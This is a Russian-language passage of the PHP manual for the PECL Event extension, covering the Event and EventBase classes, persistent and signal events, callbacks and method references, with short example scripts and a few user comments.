О постоянных(persistent) событиях

По умолчанию, когда ожидающее событие становится активным (так как их файловый дескриптор становится доступен для записи или чтения, или истёк период ожидания), у него снимается статус ожидающего ровно перед тем, как будет запущена его функция обратного вызова. Таким образом, чтобы снова перевести его в статус ожидания, необходимо выполнить для него Event::add() из его callback-функции.

Если же на событии установлен флаг Event::PERSIST, то событие становится постоянным. Это означает, что событие остаётся в статусе ожидания даже если запущена его функция обратного вызова. Для того, чтобы убрать у события флаг постоянства, необходимо выполнить для него Event::del().

Время ожидания постоянного события сбрасывается каждый раз, когда запускается его callback-функция. Таким образом, если для события установлены флаги Event::READ | Event::PERSIST и время ожидания в 5 секунд, событие станет активно в следующих случаях:

  1. Всякий раз, когда сокет или дескриптор файла готов к чтению.

  2. Всякий раз, когда прошло пять секунд с момента последнего события.

Смотрите также » Fast Быстрое, переносимое, неблокирующее сетевое программирование с Libevent, о постоянных событиях

User Contributed Notes

There are no user contributed notes for this page.


Callback-функции

Если для события зарегистрирована callback-функция, она будет вызвана когда событие перейдёт в активный статус. Для привязывания функции к событию, необходимо передать её как параметр callable в Event::__construct() или Event::set() или в один из фабричных методов, таких как Event::timer() .

Функция должна соответствовать следующему прототипу:

callback( mixed $fd = null , int $what = ?, mixed $arg = null ): void

fd

Дескриптор файла, потокового ресурса или сокета, связанный с событием. Для событий сигналов fd совпадает с номером сигнала.

what

Побитовая маска всех обрабатываемых событий.

arg

Пользовательские данные.

Для Event::timer() callback-функция должна соответствовать следующему прототипу:

callback( mixed $arg = null ): void

arg

Пользовательские данные.

Для Event::signal() callback-функция должна соответствовать следующему прототипу:

callback( int $signum = ?, mixed $arg = null ): void

signum

Номер сигнала (например, SIGTERM ).

arg

Пользовательские данные.

User Contributed Notes

xilon dot jul at gmail dot com 27-May-2013 03:23
For event timers, the callback prototype is equivalent to sockets related callback. User arguments are given as the third parameter.

This has been tested under : Event version 1.6.1


Создание событий для сигналов

Event может отслеживать сигналы в стиле POSIX. Для создания обработчика для сигнала используйте конструктор Event::__construct() с флагом Event::SIGNAL или фабричный метод Event::signal().

Пример #1 Обработка сигнала SIGTERM

<?php
/*
Запускайте в окне терминала:

$ php examples/signal.php

В другом терминальном окне отыщите этот процесс и
пошлите ему сигнал SIGTERM:

$ ps aux | grep examp
ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

В первом терминале вы увидите следующее:

Пойман сигнал 15
*/
class MyEventSignal {
private $base, $ev;

public function __construct($base) {
$this->base = $base;
$this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
$this->ev->add();
}

public function eventSighandler($no, $c) {
echo "Пойман сигнал $no\n";
$this->base->exit();
}
}

$base = new EventBase();
$c = new MyEventSignal($base);

$base->loop();
?>

Обратите внимание, что функции обратного вызова запускаются внутри событийного цикла после получения сигнала, так что для них вполне безопасно вызывать функции, которые не следует запускать из обычных обработчиков сигналов POSIX.

Также почитайте » Fast portable non-blocking network programming with Libevent, Constructing Signal Events .

User Contributed Notes

There are no user contributed notes for this page.


Класс Event

(PECL event >= 1.2.6-beta)

Введение

Класс Event представляет и срабатывает на следующие события: файловый дескриптор готов к чтению или записи; становится готов к чтению или записи (только edge-triggered I/O (единовременное срабатывание)); заканчивается ожидание; получен системный сигнал; произошло пользовательское событие.

Каждое событие связано с EventBase . Однако событие не будет обработано, пока не будет добавлено с помощью метода Event::add(). Добавленное событие находится в статусе ожидания pending, пока оно не произошло. После этого оно переходит в статус активно (active). Для обработки событий пользователь может зарегистрировать функцию обратного вызова, которая будет вызвана в момент перехода события в активный статус. Если событие настроено как постоянное (persistent), оно вернётся в статус ожидания. Если оно не постоянное, то оно выйдет из режима ожидания после запуска функции обратного вызова. Метод Event::del() удаляет, соответственно выводя его из статуса ожидания. Добавить его по новой можно с помощью метода Event::add().

Обзор классов

final class Event {
/* Константы */
const int ET = 32;
const int PERSIST = 16;
const int READ = 2;
const int WRITE = 4;
const int SIGNAL = 8;
const int TIMEOUT = 1;
/* Свойства */
public readonly bool $pending;
/* Методы */
public add( float $timeout = ?): bool
public __construct(
EventBase $base ,
mixed $fd ,
int $what ,
callable $cb ,
mixed $arg = NULL
)
public del(): bool
public free(): void
public static getSupportedMethods(): array
public pending( int $flags ): bool
public set(
EventBase $base ,
mixed $fd ,
int $what = ?,
callable $cb = ?,
mixed $arg = ?
): bool
public setPriority( int $priority ): bool
public setTimer( EventBase $base , callable $cb , mixed $arg = ?): bool
public static signal(
EventBase $base ,
int $signum ,
callable $cb ,
mixed $arg = ?
): Event
public static timer( EventBase $base , callable $cb , mixed $arg = ?): Event
}

Свойства

pending

Обозначает, что событие в состоянии ожидания. Смотрите О постоянных событиях .

Предопределённые константы

Event::ET

Означает, что событие должно срабатывать один раз при изменении статуса (edge-triggered), если используемый бекенд поддерживает такое поведение. Это влияет на семантику Event::READ и Event::WRITE .

Event::PERSIST

Обозначает, что событие постоянное. Смотрите О постоянных событиях .

Event::READ

Этот флаг указывает событие, которое становится активным, когда предоставленный файл (обычно потоковый ресурс или сокет) готов к чтению.

Event::WRITE

Этот флаг указывает событие, которое становится активным, когда предоставленный файл (обычно потоковый ресурс или сокет) готов к записи.

Event::SIGNAL

Используется для реализации отслеживания системных сигналов. Смотрите "Создание событий для сигналов" ниже.

Event::TIMEOUT

Флаг означает, что активировалось событие по истечению ожидания (timeout).

Флаг Event::TIMEOUT игнорируется при создании события: его можно установить при добавлении. Он задаётся в аргументе $what функции обратного вызова, если произошло событие этого типа.

Содержание

  • Event::add — Перевести событие в состояние ожидания
  • Event::addSignal — Псевдоним Event::add
  • Event::addTimer — Псевдоним Event::add
  • Event::__construct — Конструктор объекта Event
  • Event::del — Перевести событие в пассивное состояние
  • Event::delSignal — Псевдоним Event::del
  • Event::delTimer — Псевдоним Event::del
  • Event::free — Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы
  • Event::getSupportedMethods — Получить массив с именами методов, поддерживаемых в текущей версии Libevent
  • Event::pending — Проверить, что событие находится в состоянии ожидания либо что оно запланировано
  • Event::set — Переконфигурировать событие
  • Event::setPriority — Задать приоритет событию
  • Event::setTimer — Переконфигурация события таймера
  • Event::signal — Создать объект события сигнала
  • Event::timer — Создать объект события таймера

User Contributed Notes

There are no user contributed notes for this page.


Перевести событие в состояние ожидания

  • « Event
  • Event::addSignal »
  • PHP Manual
  • Event
  • Перевести событие в состояние ожидания

Event::add

(PECL event >= 1.2.6-beta)

Event::add — Перевести событие в состояние ожидания

Описание

public Event::add( float $timeout = ?): bool

Переводит событие в состояние ожидания. Не ожидающие события никогда не сработают и не вызовут callback-функцию. В сочетании с Event::del(), событие может быть перезапланированно пользователем в любое время.

Если метод Event::add() вызван для уже ожидающего события, libevent оставит его в состоянии ожидания и перезапланирует его в соответствии с заданным временем ожидания (если оно задано). Если время ожидания не задано, то Event::add() не возымеет какого-либо эффекта.

Список параметров

timeout

Время ожидания в секундах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление пользовательского сигнала

<?php
/*
Запустите в окне терминала:

$ php examples/signal.php

В другом окне терминала узнайте pid и отправьте SIGTERM, например:

$ ps aux | grep examp

ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

В первом окне терминала вы должны увидеть следующее:
Пойманный сигнал 15
*/
class MyEventSignal {
private $base, $ev;
public function __construct($base) {
$this->base = $base;
$this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
$this->ev->add();
}
public function eventSighandler($no, $c) {
echo "Пойманный сигнал $no\n";
$this->base->exit();
}
}
$base = new EventBase();
$c = new MyEventSignal($base);
$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

Пойманный сигнал 15

Пример #2 Добавление таймера

<?php
$base = new EventBase();
$n = 2;
$e = Event::timer($base, function($n) use (&$e) {
echo "Прошло секунд: $n\n";
$e->delTimer();
}, $n);
$e->add($n);
$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

Прошло секунд: 2

Смотрите также

  • Event::add()
  • Event::del() - Перевести событие в пассивное состояние
  • Event::signal() - Создать объект события сигнала
  • Event::timer() - Создать объект события таймера

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним Event::add

  • « Event::add
  • Event::addTimer »
  • PHP Manual
  • Event
  • Псевдоним Event::add

Event::addSignal

(PECL event >= 1.2.6-beta)

Event::addSignal — Псевдоним Event::add()

Описание

Метод является псевдонимом: Event::add()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним Event::add

  • « Event::addSignal
  • Event::__construct »
  • PHP Manual
  • Event
  • Псевдоним Event::add

Event::addTimer

(PECL event >= 1.2.6-beta)

Event::addTimer — Псевдоним Event::add()

Описание

Метод является псевдонимом: Event::add()

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта Event

  • « Event::addTimer
  • Event::del »
  • PHP Manual
  • Event
  • Конструктор объекта Event

Event::__construct

(PECL event >= 1.2.6-beta)

Event::__construct — Конструктор объекта Event

Описание

public Event::__construct(
EventBase $base ,
mixed $fd ,
int $what ,
callable $cb ,
mixed $arg = NULL
)

Создаёт объект Event.

Список параметров

base

Событийная база, к которой необходимо привязать событие.

fd

Ресурс потока, сокета или числовой дескриптор файла. Для событий таймера укажите -1. Для события сигнала задайте его номер, например SIGHUP.

what

Смотрите Флаги событий .

cb

Функция обратного вызова. Смотрите Функции обратного вызова для событий .

arg

Пользовательские данные, связанные с событием. Если заданы, то они будут переданы в функцию обратного вызова когда произойдёт событие.

Возвращаемые значения

Возвращает объект Event.

Смотрите также

  • Event::signal() - Создать объект события сигнала
  • Event::timer() - Создать объект события таймера

User Contributed Notes

There are no user contributed notes for this page.


Перевести событие в пассивное состояние

  • « Event::__construct
  • Event::delSignal »
  • PHP Manual
  • Event
  • Перевести событие в пассивное состояние

Event::del

(PECL event >= 1.2.6-beta)

Event::del — Перевести событие в пассивное состояние

Описание

public Event::del(): bool

Удаляет событие из набора отслеживаемых событий, т.е. переводит его в состояние не-ожидания.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Event::add() - Перевести событие в состояние ожидания

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним Event::del

  • « Event::del
  • Event::delTimer »
  • PHP Manual
  • Event
  • Псевдоним Event::del

Event::delSignal

(PECL event >= 1.2.6-beta)

Event::delSignal — Псевдоним Event::del()

Описание

Метод является псевдонимом: Event::del()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним Event::del

  • « Event::delSignal
  • Event::free »
  • PHP Manual
  • Event
  • Псевдоним Event::del

Event::delTimer

(PECL event >= 1.2.6-beta)

Event::delTimer — Псевдоним Event::del()

Описание

Метод является псевдонимом: Event::del()

User Contributed Notes

There are no user contributed notes for this page.


Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы

  • « Event::delTimer
  • Event::getSupportedMethods »
  • PHP Manual
  • Event
  • Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы

Event::free

(PECL event >= 1.2.6-beta)

Event::free — Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы

Описание

public Event::free(): void

Удаляет событие из набора отслеживаемых libevent событий и высвобождает все выделенные для него ресурсы.

Внимание

В настоящее время метод Event::free() не уничтожает сам объект. Для уничтожения объекта события используйте функцию unset() или присвойте ему null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Event::__construct() - Конструктор объекта Event

User Contributed Notes

There are no user contributed notes for this page.


Получить массив с именами методов, поддерживаемых в текущей версии Libevent

  • « Event::free
  • Event::pending »
  • PHP Manual
  • Event
  • Получить массив с именами методов, поддерживаемых в текущей версии Libevent

Event::getSupportedMethods

(PECL event >= 1.2.6-beta)

Event::getSupportedMethods — Получить массив с именами методов, поддерживаемых в текущей версии Libevent

Описание

public static Event::getSupportedMethods(): array

Возвращает массив с именами методов(бэкендов), поддерживаемых в текущей версии Libevent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив строк.

Смотрите также

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что событие находится в состоянии ожидания либо что оно запланировано

  • « Event::getSupportedMethods
  • Event::set »
  • PHP Manual
  • Event
  • Проверить, что событие находится в состоянии ожидания либо что оно запланировано

Event::pending

(PECL event >= 1.2.6-beta)

Event::pending — Проверить, что событие находится в состоянии ожидания либо что оно запланировано

Описание

public Event::pending( int $flags ): bool

Проверяет, что событие находится в состоянии ожидания либо что оно запланировано.

Список параметров

flags

Одна, либо несколько констант, объединённых логическим ИЛИ: Event::READ , Event::WRITE , Event::TIMEOUT , Event::SIGNAL .

Возвращаемые значения

Возвращает true, если событие запланировано, либо находится в состоянии ожидания и false, если нет.

User Contributed Notes

There are no user contributed notes for this page.


Переконфигурировать событие

  • « Event::pending
  • Event::setPriority »
  • PHP Manual
  • Event
  • Переконфигурировать событие

Event::set

(PECL event >= 1.2.6-beta)

Event::set — Переконфигурировать событие

Описание

public Event::set(
EventBase $base ,
mixed $fd ,
int $what = ?,
callable $cb = ?,
mixed $arg = ?
): bool

Переконфигурирует событие. Обратите внимание, что эта функция не вызывает устаревшую функцию event_set библиотеки libevent. Вместо этого она вызывает event_assign.

Список параметров

base

Событийная база, к которой необходимо привязать событие.

fd

Поток, сокет или числовой дескриптор файла. Для событий таймера укажите -1, а для событий сигнала - номер сигнала, например SIGHUP.

what

Смотрите Флаги событий .

cb

Функция обратного вызова. Смотрите Функции обратного вызова для событий .

arg

Пользовательские данные, связанные с событием. Они будут переданы в функцию обратного вызова когда произойдёт событие.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Задать приоритет событию

  • « Event::set
  • Event::setTimer »
  • PHP Manual
  • Event
  • Задать приоритет событию

Event::setPriority

(PECL event >= 1.2.6-beta)

Event::setPriority — Задать приоритет событию

Описание

public Event::setPriority( int $priority ): bool

Устанавливает приоритет событию.

Список параметров

priority

Приоритет.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Igor K 15-Jun-2020 03:50
$priority argument should be declared as float, because function expects float value in range between 0 and 1.
Otherwise you get "Unable to set event priority" error.


Переконфигурация события таймера

  • « Event::setPriority
  • Event::signal »
  • PHP Manual
  • Event
  • Переконфигурация события таймера

Event::setTimer

(PECL event >= 1.2.6-beta)

Event::setTimer — Переконфигурация события таймера

Описание

public Event::setTimer( EventBase $base , callable $cb , mixed $arg = ?): bool

Переконфигурирует событие таймера. Обратите внимание, что эта функция не вызывает устаревшую функцию event_set библиотеки libevent. Вместо этого она вызывает event_assign.

Список параметров

base

Событийная база, к которой необходимо привязать событие.

cb

Функция обратного вызова события таймера. Смотрите Функции обратного вызова для событий .

arg

Пользовательские данные, связанные с событием. Они будут переданы в функцию обратного вызова когда произойдёт событие.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Event::__construct() - Конструктор объекта Event
  • Event::timer() - Создать объект события таймера

User Contributed Notes

There are no user contributed notes for this page.


Создать объект события сигнала

  • « Event::setTimer
  • Event::timer »
  • PHP Manual
  • Event
  • Создать объект события сигнала

Event::signal

(PECL event >= 1.2.6-beta)

Event::signal — Создать объект события сигнала

Описание

public static Event::signal(
EventBase $base ,
int $signum ,
callable $cb ,
mixed $arg = ?
): Event

Создаёт объект события сигнала. Это облегчённый метод для создания события сигнала. Обратите внимание, что штатный конструктор Event::__construct() также может создавать события сигнала.

Список параметров

base

Событийная база, к которой необходимо привязать событие.

signum

Номер сигнала.

cb

Функция обратного вызова события сигнала. Смотрите Функции обратного вызова для событий .

arg

Пользовательские данные, связанные с событием. Они будут переданы в функцию обратного вызова когда произойдёт событие.

Возвращаемые значения

Возвращает объект Event. В случае возникновения ошибки возвращает false.

Смотрите также

  • Создание событий сигнала

User Contributed Notes

There are no user contributed notes for this page.


Создать объект события таймера

  • « Event::signal
  • EventBase »
  • PHP Manual
  • Event
  • Создать объект события таймера

Event::timer

(PECL event >= 1.2.6-beta)

Event::timer — Создать объект события таймера

Описание

public static Event::timer( EventBase $base , callable $cb , mixed $arg = ?): Event

Создаёт объект события таймера. Это облегчённый метод для создания события сигнала. Обратите внимание, что штатный конструктор Event::__construct() также может создавать события таймера.

Список параметров

base

Событийная база, к которой необходимо привязать событие.

cb

Функция обратного вызова события таймера. Смотрите Функции обратного вызова для событий .

arg

Пользовательские данные, связанные с событием. Они будут переданы в функцию обратного вызова когда произойдёт событие.

Возвращаемые значения

Возвращает объект Event. В случае возникновения ошибки возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Класс EventBase

(PECL event >= 1.2.6-beta)

Введение

Класс EventBase представляет структуру событийной базы libevent. Он содержит набор событий и может их опрашивать для определения, какие из них активны.

Каждая событийная база имеет метод или бэкенд, которые используются для определения готовых событий. Используемые методы: select , poll , epoll , kqueue , devpoll , evport и win32 .

Для настройки событийной базы или для исключения определённых бэкендов можно использовать класс EventConfig.

Внимание

НЕ разрушайте объект EventBase пока не освобождены связанные с Event ресурсы. В противном случае это приведёт к непредсказуемым результатам!

Обзор классов

final class EventBase {
/* Константы */
const int LOOP_ONCE = 1;
const int LOOP_NONBLOCK = 2;
const int NOLOCK = 1;
const int STARTUP_IOCP = 4;
const int NO_CACHE_TIME = 8;
const int EPOLL_USE_CHANGELIST = 16;
/* Методы */
public __construct( EventConfig $cfg = ?)
public dispatch(): void
public exit( float $timeout = ?): bool
public free(): void
public getFeatures(): int
public getMethod(): string
public getTimeOfDayCached(): float
public gotExit(): bool
public gotStop(): bool
public loop( int $flags = ?): bool
public priorityInit( int $n_priorities ): bool
public reInit(): bool
public stop(): bool
}

Предопределённые константы

EventBase::LOOP_ONCE

Флаг используется с методом EventBase::loop() и означает: "блокировать, пока libevent не получит активное событие, а затем выйти после того, как будут завершены функции обратного вызова для всех активных событий".

EventBase::LOOP_NONBLOCK

Флаг используется с методом EventBase::loop() и означает: "не блокировать: посмотреть, какие события уже готовы, запустить обратные вызовы с наивысшим приоритетом, затем выйти".

EventBase::NOLOCK

Флаг конфигурации. Не выделять блокировку для событийной базы, даже если блокирование настроено.

EventBase::STARTUP_IOCP

Флаг конфигурации только для Windows. Разрешает диспетчер IOCP при старте.

EventBase::NO_CACHE_TIME

Флаг конфигурации. Вместо проверки текущего времени каждый раз, когда цикл готов запустить функцию обратного вызова по таймеру, проверять его после каждого вызова такой функции.

EventBase::EPOLL_USE_CHANGELIST

Если используется бэкенд epoll , этот флаг сообщает, что можно безопасно использовать внутренний код списка изменений Libevent для пакетного добавления и удаления в целях минимизации количества системных вызовов.

Установка этого флага может повысить производительность, но может привести к проявлению бага Linux: не безопасно использовать этот флаг, если любой из файловых дескрипторов был клонирован с помощью dup() или его аналогов. Может привести к странным и трудно диагностируемым ошибкам.

Этот флаг также может быть активирован установкой переменной окружения EVENT_EPOLL_USE_CHANGELIST.

Этот флаг не действует, если вы используете любой бэкенд, кроме epoll .

Содержание

  • EventBase::__construct — Конструктор объекта EventBase
  • EventBase::dispatch — Отправляет ожидающие события
  • EventBase::exit — Прекращает отправку событий
  • EventBase::free — Освобождает ресурсы, выделенные для этой базы событий
  • EventBase::getFeatures — Возвращает битовую маску поддерживаемых функций
  • EventBase::getMethod — Возвращает используемый метод события
  • EventBase::getTimeOfDayCached — Возвращает текущее время базовый событий
  • EventBase::gotExit — Проверяет, был ли цикл обработки событий завершён
  • EventBase::gotStop — Проверяет, был ли цикл обработки событий завершён
  • EventBase::loop — Отправка ожидающих событий
  • EventBase::priorityInit — Устанавливает количество приоритетов на базу событий
  • EventBase::reInit — Повторная инициализация базы событий (после разветвления)
  • EventBase::stop — Сообщает event_base прекратить отправку событий

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EventBase

  • « EventBase
  • EventBase::dispatch »
  • PHP Manual
  • EventBase
  • Конструктор объекта EventBase

EventBase::__construct

(PECL event >= 1.2.6-beta)

EventBase::__construct — Конструктор объекта EventBase

Описание

public EventBase::__construct( EventConfig $cfg = ?)

Конструктор объекта EventBase

Список параметров

cfg

Необязательный объект EventConfig.

Возвращаемые значения

Возвращает объект EventBase.

Смотрите также

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Отправляет ожидающие события

  • « EventBase::__construct
  • EventBase::exit »
  • PHP Manual
  • EventBase
  • Отправляет ожидающие события

EventBase::dispatch

(PECL event >= 1.2.6-beta)

EventBase::dispatch — Отправляет ожидающие события

Описание

public EventBase::dispatch(): void

Ожидает, пока события станут активными, и запускает их callback-функции. Также, как EventBase::loop() без установленных флагов.

Внимание

НЕ разрушайте объект EventBase пока не освобождены связанные с Event ресурсы. В противном случае это приведёт к непредсказуемым результатам!

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBase::loop() - Отправка ожидающих событий

User Contributed Notes

There are no user contributed notes for this page.


Прекращает отправку событий

  • « EventBase::dispatch
  • EventBase::free »
  • PHP Manual
  • EventBase
  • Прекращает отправку событий

EventBase::exit

(PECL event >= 1.2.6-beta)

EventBase::exit — Прекращает отправку событий

Описание

public EventBase::exit( float $timeout = ?): bool

Сообщает, что база событий должна прекратить отправку событий через указанное количество секунд.

Список параметров

timeout

Необязательный параметр. Количество секунд, после которого база событий должна прекратить отправку событий.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBase::stop() - Сообщает event_base прекратить отправку событий

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, выделенные для этой базы событий

  • « EventBase::exit
  • EventBase::getFeatures »
  • PHP Manual
  • EventBase
  • Освобождает ресурсы, выделенные для этой базы событий

EventBase::free

(PECL event >= 1.10.0)

EventBase::free — Освобождает ресурсы, выделенные для этой базы событий

Описание

public EventBase::free(): void

Освобождает ресурсы, выделенные libevent для объекта EventBase.

Внимание

Метод EventBase::free() не разрушает сам объект. Чтобы полностью уничтожить объект, вызовите unset() или присвойте null.

Этот метод не освобождает и не отсоединяет какие-либо события, которые в данный момент связаны с объектом EventBase, и не закрывает их сокеты - будьте осторожны.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventBase::__construct() - Конструктор объекта EventBase

User Contributed Notes

There are no user contributed notes for this page.


Возвращает битовую маску поддерживаемых функций

  • « EventBase::free
  • EventBase::getMethod »
  • PHP Manual
  • EventBase
  • Возвращает битовую маску поддерживаемых функций

EventBase::getFeatures

(PECL event >= 1.2.6-beta)

EventBase::getFeatures — Возвращает битовую маску поддерживаемых функций

Описание

public EventBase::getFeatures(): int

Возвращает битовую маску поддерживаемых функций

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску поддерживаемых функций. Смотрите константы EventConfig::FEATURE_* .

Примеры

Пример #1 Пример использования EventBase::getFeatures()

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "Метод 'select' будет игнорироваться\n";
}

$base = new EventBase($cfg);

echo "Характеристики:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - edge-triggered IO\n");
($features & EventConfig::FEATURE_O1) and print("O1 - O(1) operation for adding/deletting events\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - arbitrary file descriptor types, and not just sockets\n");
?>

Смотрите также

  • EventBase::getMethod() - Возвращает используемый метод события
  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Возвращает используемый метод события

  • « EventBase::getFeatures
  • EventBase::getTimeOfDayCached »
  • PHP Manual
  • EventBase
  • Возвращает используемый метод события

EventBase::getMethod

(PECL event >= 1.2.6-beta)

EventBase::getMethod — Возвращает используемый метод события

Описание

public EventBase::getMethod(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка, представляющая используемый метод события (backend).

Примеры

Пример #1 Пример использования EventBase::getMethod()

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "Метод 'select' будет игнорироваться\n";
}

// Создаём базу событий, с конфигурацией
$base = new EventBase($cfg);
echo "Используемый метод события: ", $base->getMethod(), PHP_EOL;

?>

Результатом выполнения данного примера будет что-то подобное:

`select' method avoided
Используемый метод события: epoll

Смотрите также

  • EventBase::getFeatures() - Возвращает битовую маску поддерживаемых функций

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее время базовый событий

  • « EventBase::getMethod
  • EventBase::gotExit »
  • PHP Manual
  • EventBase
  • Возвращает текущее время базовый событий

EventBase::getTimeOfDayCached

(PECL event >= 1.2.6-beta)

EventBase::getTimeOfDayCached — Возвращает текущее время базовый событий

Описание

public EventBase::getTimeOfDayCached(): float

При успешном завершении возвращает текущее время (как результат функции gettimeofday()), просматривая кешированное значение в base, если это возможно, и вызывая gettimeofday() или clock_gettime(), в зависимости от ситуации, если нет кешированного времени.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее время базы событий. В случае возникновения ошибки возвращает null.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, был ли цикл обработки событий завершён

  • « EventBase::getTimeOfDayCached
  • EventBase::gotStop »
  • PHP Manual
  • EventBase
  • Проверяет, был ли цикл обработки событий завершён

EventBase::gotExit

(PECL event >= 1.2.6-beta)

EventBase::gotExit — Проверяет, был ли цикл обработки событий завершён

Описание

public EventBase::gotExit(): bool

Проверяет, был ли цикл обработки событий завершён с помощью EventBase::exit() .

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если цикл обработки событий завершён с помощью EventBase::exit() . В иных случаях - false.

Смотрите также

  • EventBase::exit() - Прекращает отправку событий
  • EventBase::stop() - Сообщает event_base прекратить отправку событий
  • EventBase::gotStop() - Проверяет, был ли цикл обработки событий завершён

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, был ли цикл обработки событий завершён

  • « EventBase::gotExit
  • EventBase::loop »
  • PHP Manual
  • EventBase
  • Проверяет, был ли цикл обработки событий завершён

EventBase::gotStop

(PECL event >= 1.2.6-beta)

EventBase::gotStop — Проверяет, был ли цикл обработки событий завершён

Описание

public EventBase::gotStop(): bool

Проверяет, был ли цикл обработки событий завершён с помощью EventBase::stop() .

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если цикл обработки событий был завершён с помощью EventBase::stop() . В противном случае - false.

Смотрите также

  • EventBase::exit() - Прекращает отправку событий
  • EventBase::stop() - Сообщает event_base прекратить отправку событий
  • EventBase::gotExit() - Проверяет, был ли цикл обработки событий завершён

User Contributed Notes

There are no user contributed notes for this page.


Отправка ожидающих событий

  • « EventBase::gotStop
  • EventBase::priorityInit »
  • PHP Manual
  • EventBase
  • Отправка ожидающих событий

EventBase::loop

(PECL event >= 1.2.6-beta)

EventBase::loop — Отправка ожидающих событий

Описание

public EventBase::loop( int $flags = ?): bool

Ожидает, пока события станут активными, и запускает их callback-функции.

Внимание

НЕ разрушайте объект EventBase пока не освобождены связанные с Event ресурсы. В противном случае это приведёт к непредсказуемым результатам!

Список параметров

flags

Необязательные флаги. Одна из констант EventBase::LOOP_*. Смотрите EventBase константы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBase::dispatch() - Отправляет ожидающие события

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество приоритетов на базу событий

  • « EventBase::loop
  • EventBase::reInit »
  • PHP Manual
  • EventBase
  • Устанавливает количество приоритетов на базу событий

EventBase::priorityInit

(PECL event >= 1.2.6-beta)

EventBase::priorityInit — Устанавливает количество приоритетов на базу событий

Описание

public EventBase::priorityInit( int $n_priorities ): bool

Устанавливает количество приоритетов на базу событий

Список параметров

n_priorities

Количество приоритетов на базу событий.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Event::setPriority() - Задать приоритет событию

User Contributed Notes

There are no user contributed notes for this page.


Повторная инициализация базы событий (после разветвления)

  • « EventBase::priorityInit
  • EventBase::stop »
  • PHP Manual
  • EventBase
  • Повторная инициализация базы событий (после разветвления)

EventBase::reInit

(PECL event >= 1.2.6-beta)

EventBase::reInit — Повторная инициализация базы событий (после разветвления)

Описание

public EventBase::reInit(): bool

Повторная инициализация базы событий (после разветвления)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сообщает event_base прекратить отправку событий

  • « EventBase::reInit
  • EventBuffer »
  • PHP Manual
  • EventBase
  • Сообщает event_base прекратить отправку событий

EventBase::stop

(PECL event >= 1.2.6-beta)

EventBase::stop — Сообщает event_base прекратить отправку событий

Описание

public EventBase::stop(): bool

Сообщает event_base прекратить отправку событий

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBase::exit() - Прекращает отправку событий
  • EventBase::gotStop() - Проверяет, был ли цикл обработки событий завершён

User Contributed Notes

There are no user contributed notes for this page.


Класс EventBuffer

(PECL event >= 1.5.0)

Введение

EventBuffer представляет событийный буфер библиотеки Libevent - вспомогательный функционал для буферизированного ввода/вывода.

Буферы событий обычно полезны для организации "буферной" части буферизированного сетевого ввода/вывода.

Обзор классов

class EventBuffer {
/* Константы */
const int EOL_ANY = 0;
